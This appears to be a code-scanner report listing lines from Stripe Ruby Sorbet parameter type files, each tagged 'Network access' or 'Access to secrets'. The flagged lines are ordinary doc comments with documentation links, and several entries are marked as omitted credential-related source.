} def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 685
def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(SetupIntentUpdateParams::PaymentMethodData::RadarOption - Network accessline 686
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 833
[Credential-related source omitted] - Access to secretsline 834
[Credential-related source omitted] - Network accessline 870
); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 871
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 872
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 931
sig { params(_amount_type: String).returns(String) } def amount_type=(_amount_type); end # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.h - Network accessline 932
def amount_type=(_amount_type); end # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stri - Network accessline 933
# Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1117
sig { params(_network: T.nilable(String)).returns(T.nilable(String)) } def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on ri - Network accessline 1118
def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authe - Network accessline 1119
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1638
} def flow_directions=(_flow_directions); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 1639
def flow_directions=(_flow_directions); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 1640
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1650
sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) } def payment_method=(_payment_method); end # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use - Network accessline 1651
def payment_method=(_payment_method); end # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent. sig { returns(T.nilable(String)) } - Network accessline 1652
# The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent. - Network accessline 1655
sig { params(_payment_method_configuration: T.nilable(String)).returns(T.nilable(String)) } def payment_method_configuration=(_payment_method_configuration); end # When included, this hash creates a PaymentMethod that is set as the - Network accessline 1656
def payment_method_configuration=(_payment_method_configuration); end # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_ - Network accessline 1657
# When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method) - Network accessline 1670
} def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, card) that this SetupIntent can set up. If you don't provide this, Stripe will dynamically show relevant payment methods fr - Network accessline 1671
def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, card) that this SetupIntent can set up. If you don't provide this, Stripe will dynamically show relevant payment methods from you - Network accessline 1672
# The list of payment method types (for example, card) that this SetupIntent can set up. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/setti
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/shipping_rate_create_params.rbi
- Network accessline 73
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 74
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 75
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 78
sig { params(_currency: String).returns(String) } def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currenc - Network accessline 79
def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe. - Network accessline 80
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 116
} def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 117
def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 118
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 128
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 129
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. sig { returns(T.nilable(String)) } - Network accessline 130
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/shipping_rate_update_params.rbi
- Network accessline 20
def initialize(amount: nil, tax_behavior: nil); end end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [sup - Network accessline 21
end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 22
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 51
} def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 52
def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 53
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/source_create_params.rbi
- Network accessline 136
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 137
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 138
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 156
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 157
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 158
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 269
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 270
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 271
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 289
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 290
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 291
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 362
sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def amount=(_amount); end # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for wh - Network accessline 363
def amount=(_amount); end # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. sig { returns(T.nilable(St - Network accessline 364
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. - Network accessline 439
[Credential-related source omitted] - Network accessline 440
[Credential-related source omitted] - Network accessline 441
# The `type` of the source to create. Required unless `customer` and `original_source` are specified (see the [Cloning card Sources](https://docs.stripe.com/sources/connect#cloning-card-sources) guide)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/source_retrieve_params.rbi
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/source_update_params.rbi
- Network accessline 136
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 137
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 138
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 156
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 157
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 158
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 251
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 252
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 253
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 271
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 272
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 273
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 356
} def mandate=(_mandate); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 357
def mandate=(_mandate); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 358
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_create_params.rbi
- Network accessline 76
end class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 77
class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns( - Network accessline 78
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 81
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 82
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 83
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 86
sig { params(_product: String).returns(String) } def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior- - Network accessline 87
def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting - Network accessline 88
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 119
} def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 120
def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 121
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 138
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 139
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(SubscriptionCreateParams::AddInvoiceItem::Price - Network accessline 140
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 335
class Item < ::Stripe::RequestParams class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet - Network accessline 336
class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.str - Network accessline 337
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 379
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie - Network accessline 380
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 381
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 384
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 385
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 386
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 396
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri - Network accessline 397
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set - Network accessline 398
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 437
} def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 438
def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 439
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 454
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 455
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { returns(T.nilable(SubscriptionCreateParams::Item::PriceData)) } - Network accessline 456
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 466
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](h - Network accessline 467
def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_ - Network accessline 468
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 563
sig { params(_network: T.nilable(String)).returns(T.nilable(String)) } def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based o - Network accessline 564
def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-aut - Network accessline 565
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 806
} def payment_method_options=(_payment_method_options); end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by loo - Network accessline 807
def payment_method_options=(_payment_method_options); end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at - Network accessline 808
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 882
} def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the applicat - Network accessline 883
def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application ow - Network accessline 884
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 901
sig { params(_backdate_start_date: T.nilable(Integer)).returns(T.nilable(Integer)) } def backdate_start_date=(_backdate_start_date); end # A future timestamp in UTC format to anchor the subscription's [billing cycle](https://docs.st - Network accessline 902
def backdate_start_date=(_backdate_start_date); end # A future timestamp in UTC format to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). The anchor is the reference point that aligns futu - Network accessline 903
# A future timestamp in UTC format to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). The anchor is the reference point that aligns future billing cycle dates. It sets the day of week for `wee - Network accessline 944
sig { params(_collection_method: T.nilable(String)).returns(T.nilable(String)) } def collection_method=(_collection_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Mus - Network accessline 945
def collection_method=(_collection_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T. - Network accessline 946
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 964
sig { params(_days_until_due: T.nilable(Integer)).returns(T.nilable(Integer)) } def days_until_due=(_days_until_due); end # ID of the default payment method for the subscription. It must belong to the customer associated with the su - Network accessline 965
def days_until_due=(_days_until_due); end # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoice - Network accessline 966
# ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de - Network accessline 969
sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) } def default_payment_method=(_default_payment_method); end # ID of the default payment source for the subscription. It must belong to the customer - Network accessline 970
def default_payment_method=(_default_payment_method); end # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` - Network accessline 971
# ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I - Network accessline 1012
} def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k - Network accessline 1013
def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca - Network accessline 1014
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1031
# Only applies to subscriptions with `collection_method=charge_automatically`. # # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status a - Network accessline 1032
# # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status allows you to manage scenarios where additional customer actions are needed to pay a - Network accessline 1033
# Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status allows you to manage scenarios where additional customer actions are needed to pay a subsc - Network accessline 1034
# # Use `default_incomplete` to create Subscriptions with `status=incomplete` when the first invoice requires payment, otherwise start as active. Subscriptions transition to `status=active` when successfully confirming the PaymentIntent - Network accessline 1035
# Use `default_incomplete` to create Subscriptions with `status=incomplete` when the first invoice requires payment, otherwise start as active. Subscriptions transition to `status=active` when successfully confirming the PaymentIntent on th - Network accessline 1036
# # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's first invoice can't be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further customer - Network accessline 1037
# Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's first invoice can't be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further customer action - Network accessline 1051
} def payment_settings=(_payment_settings); end # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given su - Network accessline 1052
def payment_settings=(_payment_settings); end # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscrip - Network accessline 1053
# Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval. - Network accessline 1058
} def pending_invoice_item_interval=(_pending_invoice_item_interval); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor`. If no value is pa - Network accessline 1059
def pending_invoice_item_interval=(_pending_invoice_item_interval); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor`. If no value is passed, - Network accessline 1060
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor`. If no value is passed, the default is `create_prorations`. - Network accessline 1070
} def transfer_data=(_transfer_data); end # Unix timestamp representing the end of the trial period the customer will get before being charged for the first time. If set, trial_end will override the default trial period of the plan - Network accessline 1071
def transfer_data=(_transfer_data); end # Unix timestamp representing the end of the trial period the customer will get before being charged for the first time. If set, trial_end will override the default trial period of the plan the cu - Network accessline 1072
# Unix timestamp representing the end of the trial period the customer will get before being charged for the first time. If set, trial_end will override the default trial period of the plan the customer is being subscribed to. The special v - Network accessline 1077
} def trial_end=(_trial_end); end # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` togeth - Network accessline 1078
def trial_end=(_trial_end); end # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together wit - Network accessline 1079
# Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U - Network accessline 1082
sig { params(_trial_from_plan: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def trial_from_plan=(_trial_from_plan); end # Integer representing the number of trial period days before the customer is charged for the first t - Network accessline 1083
def trial_from_plan=(_trial_from_plan); end # Integer representing the number of trial period days before the customer is charged for the first time. This will always overwrite any trials that might apply via a subscribed plan. See [Usi - Network accessline 1084
# Integer representing the number of trial period days before the customer is charged for the first time. This will always overwrite any trials that might apply via a subscribed plan. See [Using trial periods on subscriptions](https://docs.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_item_create_params.rbi
- Network accessline 6
class SubscriptionItemCreateParams < ::Stripe::RequestParams class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes - Network accessline 7
class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.strip - Network accessline 8
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 50
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 51
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 52
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 55
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 56
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 57
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 67
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T - Network accessline 68
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti - Network accessline 69
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 113
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 114
